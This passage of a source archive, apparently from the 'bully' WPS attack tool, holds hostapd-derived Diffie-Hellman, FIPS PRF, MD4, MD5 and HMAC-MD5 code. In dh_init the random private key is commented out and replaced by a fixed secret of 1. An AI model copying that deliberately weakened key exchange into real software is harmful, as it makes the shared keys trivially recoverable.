for returning Diffie-Hellman private key * Returns: Diffie-Hellman public value */ struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv) { struct wpabuf *pv; size_t pv_len; if (dh == NULL) return NULL; wpabuf_free(*priv); *priv = wpabuf_alloc(dh->prime_len); if (*priv == NULL) return NULL; /* Use small DH secret (1) to reduce calculation time on AP */ if (!memset(wpabuf_put(*priv, 1), 1, 1)) { // if (os_get_random(wpabuf_put(*priv, dh->prime_len), dh->prime_len)) { wpabuf_free(*priv); *priv = NULL; return NULL; } if (os_memcmp(wpabuf_head(*priv), dh->prime, dh->prime_len) > 0) { /* Make sure private value is smaller than prime */ *(wpabuf_mhead_u8(*priv)) = 0; } wpa_hexdump_buf_key(MSG_DEBUG, "DH: private value", *priv); pv_len = dh->prime_len; pv = wpabuf_alloc(pv_len); if (pv == NULL) return NULL; if (crypto_mod_exp(dh->generator, dh->generator_len, wpabuf_head(*priv), wpabuf_len(*priv), dh->prime, dh->prime_len, wpabuf_mhead(pv), &pv_len) < 0) { wpabuf_free(pv); wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed"); return NULL; } wpabuf_put(pv, pv_len); wpa_hexdump_buf(MSG_DEBUG, "DH: public value", pv); return pv; } /** * dh_derive_shared - Derive shared Diffie-Hellman key * @peer_public: Diffie-Hellman public value from peer * @own_private: Diffie-Hellman private key from dh_init() * @dh: Selected Diffie-Hellman group * Returns: Diffie-Hellman shared key */ struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public, const struct wpabuf *own_private, const struct dh_group *dh) { struct wpabuf *shared; size_t shared_len; if (dh == NULL || peer_public == NULL || own_private == NULL) return NULL; shared_len = dh->prime_len; shared = wpabuf_alloc(shared_len); if (shared == NULL) return NULL; if (crypto_mod_exp(wpabuf_head(peer_public), wpabuf_len(peer_public), wpabuf_head(own_private), wpabuf_len(own_private), dh->prime, dh->prime_len, wpabuf_mhead(shared), &shared_len) < 0) { wpabuf_free(shared); wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed"); return NULL; } wpabuf_put(shared, shared_len); wpa_hexdump_buf_key(MSG_DEBUG, "DH: shared key", shared); return shared; } bully-1.4-00/src/crypto/dh_groups.h000077500000000000000000000015161361530463600172110ustar00rootroot00000000000000/* * Diffie-Hellman groups * Copyright (c) 2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DH_GROUPS_H #define DH_GROUPS_H struct dh_group { int id; const u8 *generator; size_t generator_len; const u8 *prime; size_t prime_len; }; const struct dh_group * dh_groups_get(int id); struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv); struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public, const struct wpabuf *own_private, const struct dh_group *dh); #endif /* DH_GROUPS_H */ bully-1.4-00/src/crypto/fips_prf_cryptoapi.c000077500000000000000000000011521361530463600211100ustar00rootroot00000000000000/* * FIPS 186-2 PRF for Microsoft CryptoAPI * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { /* FIX: how to do this with CryptoAPI? */ return -1; } bully-1.4-00/src/crypto/fips_prf_gnutls.c000077500000000000000000000011711361530463600204130ustar00rootroot00000000000000/* * FIPS 186-2 PRF for libgcrypt * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { /* FIX: how to do this with libgcrypt? */ return -1; } bully-1.4-00/src/crypto/fips_prf_internal.c000077500000000000000000000031071361530463600207140ustar00rootroot00000000000000/* * FIPS 186-2 PRF for internal crypto implementation * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "sha1_i.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { u8 xkey[64]; u32 t[5], _t[5]; int i, j, m, k; u8 *xpos = x; u32 carry; if (seed_len > sizeof(xkey)) seed_len = sizeof(xkey); /* FIPS 186-2 + change notice 1 */ os_memcpy(xkey, seed, seed_len); os_memset(xkey + seed_len, 0, 64 - seed_len); t[0] = 0x67452301; t[1] = 0xEFCDAB89; t[2] = 0x98BADCFE; t[3] = 0x10325476; t[4] = 0xC3D2E1F0; m = xlen / 40; for (j = 0; j < m; j++) { /* XSEED_j = 0 */ for (i = 0; i < 2; i++) { /* XVAL = (XKEY + XSEED_j) mod 2^b */ /* w_i = G(t, XVAL) */ os_memcpy(_t, t, 20); SHA1Transform(_t, xkey); _t[0] = host_to_be32(_t[0]); _t[1] = host_to_be32(_t[1]); _t[2] = host_to_be32(_t[2]); _t[3] = host_to_be32(_t[3]); _t[4] = host_to_be32(_t[4]); os_memcpy(xpos, _t, 20); /* XKEY = (1 + XKEY + w_i) mod 2^b */ carry = 1; for (k = 19; k >= 0; k--) { carry += xkey[k] + xpos[k]; xkey[k] = carry & 0xff; carry >>= 8; } xpos += SHA1_MAC_LEN; } /* x_j = w_0|w_1 */ } return 0; } bully-1.4-00/src/crypto/fips_prf_nss.c000077500000000000000000000011101361530463600176730ustar00rootroot00000000000000/* * FIPS 186-2 PRF for NSS * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { return -1; } bully-1.4-00/src/crypto/fips_prf_openssl.c000077500000000000000000000034151361530463600205650ustar00rootroot00000000000000/* * FIPS 186-2 PRF for libcrypto * Copyright (c) 2004-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include #include "common.h" #include "crypto.h" static void sha1_transform(u8 *state, const u8 data[64]) { SHA_CTX context; os_memset(&context, 0, sizeof(context)); os_memcpy(&context.h0, state, 5 * 4); SHA1_Transform(&context, data); os_memcpy(state, &context.h0, 5 * 4); } int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen) { u8 xkey[64]; u32 t[5], _t[5]; int i, j, m, k; u8 *xpos = x; u32 carry; if (seed_len > sizeof(xkey)) seed_len = sizeof(xkey); /* FIPS 186-2 + change notice 1 */ os_memcpy(xkey, seed, seed_len); os_memset(xkey + seed_len, 0, 64 - seed_len); t[0] = 0x67452301; t[1] = 0xEFCDAB89; t[2] = 0x98BADCFE; t[3] = 0x10325476; t[4] = 0xC3D2E1F0; m = xlen / 40; for (j = 0; j < m; j++) { /* XSEED_j = 0 */ for (i = 0; i < 2; i++) { /* XVAL = (XKEY + XSEED_j) mod 2^b */ /* w_i = G(t, XVAL) */ os_memcpy(_t, t, 20); sha1_transform((u8 *) _t, xkey); _t[0] = host_to_be32(_t[0]); _t[1] = host_to_be32(_t[1]); _t[2] = host_to_be32(_t[2]); _t[3] = host_to_be32(_t[3]); _t[4] = host_to_be32(_t[4]); os_memcpy(xpos, _t, 20); /* XKEY = (1 + XKEY + w_i) mod 2^b */ carry = 1; for (k = 19; k >= 0; k--) { carry += xkey[k] + xpos[k]; xkey[k] = carry & 0xff; carry >>= 8; } xpos += 20; } /* x_j = w_0|w_1 */ } return 0; } bully-1.4-00/src/crypto/md4-internal.c000077500000000000000000000201261361530463600175060ustar00rootroot00000000000000/* * MD4 hash implementation * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #define MD4_BLOCK_LENGTH 64 #define MD4_DIGEST_LENGTH 16 typedef struct MD4Context { u32 state[4]; /* state */ u64 count; /* number of bits, mod 2^64 */ u8 buffer[MD4_BLOCK_LENGTH]; /* input buffer */ } MD4_CTX; static void MD4Init(MD4_CTX *ctx); static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len); static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx); int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { MD4_CTX ctx; size_t i; MD4Init(&ctx); for (i = 0; i < num_elem; i++) MD4Update(&ctx, addr[i], len[i]); MD4Final(mac, &ctx); return 0; } /* ===== start - public domain MD4 implementation ===== */ /* $OpenBSD: md4.c,v 1.7 2005/08/08 08:05:35 espie Exp $ */ /* * This code implements the MD4 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * Todd C. Miller modified the MD5 code to do MD4 based on RFC 1186. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. * * To compute the message digest of a chunk of bytes, declare an * MD4Context structure, pass it to MD4Init, call MD4Update as * needed on buffers full of bytes, and then call MD4Final, which * will fill a supplied 16-byte array with the digest. */ #define MD4_DIGEST_STRING_LENGTH (MD4_DIGEST_LENGTH * 2 + 1) static void MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]); #define PUT_64BIT_LE(cp, value) do { \ (cp)[7] = (value) >> 56; \ (cp)[6] = (value) >> 48; \ (cp)[5] = (value) >> 40; \ (cp)[4] = (value) >> 32; \ (cp)[3] = (value) >> 24; \ (cp)[2] = (value) >> 16; \ (cp)[1] = (value) >> 8; \ (cp)[0] = (value); } while (0) #define PUT_32BIT_LE(cp, value) do { \ (cp)[3] = (value) >> 24; \ (cp)[2] = (value) >> 16; \ (cp)[1] = (value) >> 8; \ (cp)[0] = (value); } while (0) static u8 PADDING[MD4_BLOCK_LENGTH] = { 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; /* * Start MD4 accumulation. * Set bit count to 0 and buffer to mysterious initialization constants. */ static void MD4Init(MD4_CTX *ctx) { ctx->count = 0; ctx->state[0] = 0x67452301; ctx->state[1] = 0xefcdab89; ctx->state[2] = 0x98badcfe; ctx->state[3] = 0x10325476; } /* * Update context to reflect the concatenation of another buffer full * of bytes. */ static void MD4Update(MD4_CTX *ctx, const unsigned char *input, size_t len) { size_t have, need; /* Check how many bytes we already have and how many more we need. */ have = (size_t)((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1)); need = MD4_BLOCK_LENGTH - have; /* Update bitcount */ ctx->count += (u64)len << 3; if (len >= need) { if (have != 0) { os_memcpy(ctx->buffer + have, input, need); MD4Transform(ctx->state, ctx->buffer); input += need; len -= need; have = 0; } /* Process data in MD4_BLOCK_LENGTH-byte chunks. */ while (len >= MD4_BLOCK_LENGTH) { MD4Transform(ctx->state, input); input += MD4_BLOCK_LENGTH; len -= MD4_BLOCK_LENGTH; } } /* Handle any remaining bytes of data. */ if (len != 0) os_memcpy(ctx->buffer + have, input, len); } /* * Pad pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ static void MD4Pad(MD4_CTX *ctx) { u8 count[8]; size_t padlen; /* Convert count to 8 bytes in little endian order. */ PUT_64BIT_LE(count, ctx->count); /* Pad out to 56 mod 64. */ padlen = MD4_BLOCK_LENGTH - ((ctx->count >> 3) & (MD4_BLOCK_LENGTH - 1)); if (padlen < 1 + 8) padlen += MD4_BLOCK_LENGTH; MD4Update(ctx, PADDING, padlen - 8); /* padlen - 8 <= 64 */ MD4Update(ctx, count, 8); } /* * Final wrapup--call MD4Pad, fill in digest and zero out ctx. */ static void MD4Final(unsigned char digest[MD4_DIGEST_LENGTH], MD4_CTX *ctx) { int i; MD4Pad(ctx); if (digest != NULL) { for (i = 0; i < 4; i++) PUT_32BIT_LE(digest + i * 4, ctx->state[i]); os_memset(ctx, 0, sizeof(*ctx)); } } /* The three core functions - F1 is optimized somewhat */ /* #define F1(x, y, z) (x & y | ~x & z) */ #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) ((x & y) | (x & z) | (y & z)) #define F3(x, y, z) (x ^ y ^ z) /* This is the central step in the MD4 algorithm. */ #define MD4STEP(f, w, x, y, z, data, s) \ ( w += f(x, y, z) + data, w = w<>(32-s) ) /* * The core of the MD4 algorithm, this alters an existing MD4 hash to * reflect the addition of 16 longwords of new data. MD4Update blocks * the data and converts bytes into longwords for this routine. */ static void MD4Transform(u32 state[4], const u8 block[MD4_BLOCK_LENGTH]) { u32 a, b, c, d, in[MD4_BLOCK_LENGTH / 4]; #if BYTE_ORDER == LITTLE_ENDIAN os_memcpy(in, block, sizeof(in)); #else for (a = 0; a < MD4_BLOCK_LENGTH / 4; a++) { in[a] = (u32)( (u32)(block[a * 4 + 0]) | (u32)(block[a * 4 + 1]) << 8 | (u32)(block[a * 4 + 2]) << 16 | (u32)(block[a * 4 + 3]) << 24); } #endif a = state[0]; b = state[1]; c = state[2]; d = state[3]; MD4STEP(F1, a, b, c, d, in[ 0], 3); MD4STEP(F1, d, a, b, c, in[ 1], 7); MD4STEP(F1, c, d, a, b, in[ 2], 11); MD4STEP(F1, b, c, d, a, in[ 3], 19); MD4STEP(F1, a, b, c, d, in[ 4], 3); MD4STEP(F1, d, a, b, c, in[ 5], 7); MD4STEP(F1, c, d, a, b, in[ 6], 11); MD4STEP(F1, b, c, d, a, in[ 7], 19); MD4STEP(F1, a, b, c, d, in[ 8], 3); MD4STEP(F1, d, a, b, c, in[ 9], 7); MD4STEP(F1, c, d, a, b, in[10], 11); MD4STEP(F1, b, c, d, a, in[11], 19); MD4STEP(F1, a, b, c, d, in[12], 3); MD4STEP(F1, d, a, b, c, in[13], 7); MD4STEP(F1, c, d, a, b, in[14], 11); MD4STEP(F1, b, c, d, a, in[15], 19); MD4STEP(F2, a, b, c, d, in[ 0] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 4] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[ 8] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[12] + 0x5a827999, 13); MD4STEP(F2, a, b, c, d, in[ 1] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 5] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[ 9] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[13] + 0x5a827999, 13); MD4STEP(F2, a, b, c, d, in[ 2] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 6] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[10] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[14] + 0x5a827999, 13); MD4STEP(F2, a, b, c, d, in[ 3] + 0x5a827999, 3); MD4STEP(F2, d, a, b, c, in[ 7] + 0x5a827999, 5); MD4STEP(F2, c, d, a, b, in[11] + 0x5a827999, 9); MD4STEP(F2, b, c, d, a, in[15] + 0x5a827999, 13); MD4STEP(F3, a, b, c, d, in[ 0] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[ 8] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 4] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[12] + 0x6ed9eba1, 15); MD4STEP(F3, a, b, c, d, in[ 2] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[10] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 6] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[14] + 0x6ed9eba1, 15); MD4STEP(F3, a, b, c, d, in[ 1] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[ 9] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 5] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[13] + 0x6ed9eba1, 15); MD4STEP(F3, a, b, c, d, in[ 3] + 0x6ed9eba1, 3); MD4STEP(F3, d, a, b, c, in[11] + 0x6ed9eba1, 9); MD4STEP(F3, c, d, a, b, in[ 7] + 0x6ed9eba1, 11); MD4STEP(F3, b, c, d, a, in[15] + 0x6ed9eba1, 15); state[0] += a; state[1] += b; state[2] += c; state[3] += d; } /* ===== end - public domain MD4 implementation ===== */ bully-1.4-00/src/crypto/md5-internal.c000077500000000000000000000216471361530463600175200ustar00rootroot00000000000000/* * MD5 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "md5.h" #include "md5_i.h" #include "crypto.h" static void MD5Transform(u32 buf[4], u32 const in[16]); typedef struct MD5Context MD5_CTX; /** * md5_vector - MD5 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 of failure */ int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { MD5_CTX ctx; size_t i; MD5Init(&ctx); for (i = 0; i < num_elem; i++) MD5Update(&ctx, addr[i], len[i]); MD5Final(mac, &ctx); return 0; } /* ===== start - public domain MD5 implementation ===== */ /* * This code implements the MD5 message-digest algorithm. * The algorithm is due to Ron Rivest. This code was * written by Colin Plumb in 1993, no copyright is claimed. * This code is in the public domain; do with it what you wish. * * Equivalent code is available from RSA Data Security, Inc. * This code has been tested against that, and is equivalent, * except that you don't need to include two pages of legalese * with every copy. * * To compute the message digest of a chunk of bytes, declare an * MD5Context structure, pass it to MD5Init, call MD5Update as * needed on buffers full of bytes, and then call MD5Final, which * will fill a supplied 16-byte array with the digest. */ #ifndef WORDS_BIGENDIAN #define byteReverse(buf, len) /* Nothing */ #else /* * Note: this code is harmless on little-endian machines. */ static void byteReverse(unsigned char *buf, unsigned longs) { u32 t; do { t = (u32) ((unsigned) buf[3] << 8 | buf[2]) << 16 | ((unsigned) buf[1] << 8 | buf[0]); *(u32 *) buf = t; buf += 4; } while (--longs); } #endif /* * Start MD5 accumulation. Set bit count to 0 and buffer to mysterious * initialization constants. */ void MD5Init(struct MD5Context *ctx) { ctx->buf[0] = 0x67452301; ctx->buf[1] = 0xefcdab89; ctx->buf[2] = 0x98badcfe; ctx->buf[3] = 0x10325476; ctx->bits[0] = 0; ctx->bits[1] = 0; } /* * Update context to reflect the concatenation of another buffer full * of bytes. */ void MD5Update(struct MD5Context *ctx, unsigned char const *buf, unsigned len) { u32 t; /* Update bitcount */ t = ctx->bits[0]; if ((ctx->bits[0] = t + ((u32) len << 3)) < t) ctx->bits[1]++; /* Carry from low to high */ ctx->bits[1] += len >> 29; t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ /* Handle any leading odd-sized chunks */ if (t) { unsigned char *p = (unsigned char *) ctx->in + t; t = 64 - t; if (len < t) { os_memcpy(p, buf, len); return; } os_memcpy(p, buf, t); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u32 *) ctx->in); buf += t; len -= t; } /* Process data in 64-byte chunks */ while (len >= 64) { os_memcpy(ctx->in, buf, 64); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u32 *) ctx->in); buf += 64; len -= 64; } /* Handle any remaining bytes of data. */ os_memcpy(ctx->in, buf, len); } /* * Final wrapup - pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ void MD5Final(unsigned char digest[16], struct MD5Context *ctx) { unsigned count; unsigned char *p; /* Compute number of bytes mod 64 */ count = (ctx->bits[0] >> 3) & 0x3F; /* Set the first char of padding to 0x80. This is safe since there is always at least one byte free */ p = ctx->in + count; *p++ = 0x80; /* Bytes of padding needed to make 64 bytes */ count = 64 - 1 - count; /* Pad out to 56 mod 64 */ if (count < 8) { /* Two lots of padding: Pad the first block to 64 bytes */ os_memset(p, 0, count); byteReverse(ctx->in, 16); MD5Transform(ctx->buf, (u32 *) ctx->in); /* Now fill the next block with 56 bytes */ os_memset(ctx->in, 0, 56); } else { /* Pad block to 56 bytes */ os_memset(p, 0, count - 8); } byteReverse(ctx->in, 14); /* Append length in bits and transform */ ((u32 *) ctx->in)[14] = ctx->bits[0]; ((u32 *) ctx->in)[15] = ctx->bits[1]; MD5Transform(ctx->buf, (u32 *) ctx->in); byteReverse((unsigned char *) ctx->buf, 4); os_memcpy(digest, ctx->buf, 16); os_memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */ } /* The four core functions - F1 is optimized somewhat */ /* #define F1(x, y, z) (x & y | ~x & z) */ #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) F1(z, x, y) #define F3(x, y, z) (x ^ y ^ z) #define F4(x, y, z) (y ^ (x | ~z)) /* This is the central step in the MD5 algorithm. */ #define MD5STEP(f, w, x, y, z, data, s) \ ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) /* * The core of the MD5 algorithm, this alters an existing MD5 hash to * reflect the addition of 16 longwords of new data. MD5Update blocks * the data and converts bytes into longwords for this routine. */ static void MD5Transform(u32 buf[4], u32 const in[16]) { register u32 a, b, c, d; a = buf[0]; b = buf[1]; c = buf[2]; d = buf[3]; MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); buf[0] += a; buf[1] += b; buf[2] += c; buf[3] += d; } /* ===== end - public domain MD5 implementation ===== */ bully-1.4-00/src/crypto/md5-non-fips.c000077500000000000000000000056661361530463600174400ustar00rootroot00000000000000/* * MD5 hash implementation and interface functions (non-FIPS allowed cases) * Copyright (c) 2003-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "md5.h" #include "crypto.h" /** * hmac_md5_vector_non_fips_allow - HMAC-MD5 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5_vector_non_fips_allow(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { u8 k_pad[64]; /* padding - key XORd with ipad/opad */ u8 tk[16]; const u8 *_addr[6]; size_t i, _len[6]; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return -1; } /* if key is longer than 64 bytes reset it to key = MD5(key) */ if (key_len > 64) { if (md5_vector_non_fips_allow(1, &key, &key_len, tk)) return -1; key = tk; key_len = 16; } /* the HMAC_MD5 transform looks like: * * MD5(K XOR opad, MD5(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner MD5 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } if (md5_vector_non_fips_allow(1 + num_elem, _addr, _len, mac)) return -1; os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer MD5 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = MD5_MAC_LEN; return md5_vector_non_fips_allow(2, _addr, _len, mac); } /** * hmac_md5_non_fips_allow - HMAC-MD5 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (16 bytes) * Returns: 0 on success, -1 on failure */ int hmac_md5_non_fips_allow(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { return hmac_md5_vector_non_fips_allow(key, key_len, 1, &data, &data_len, mac); } 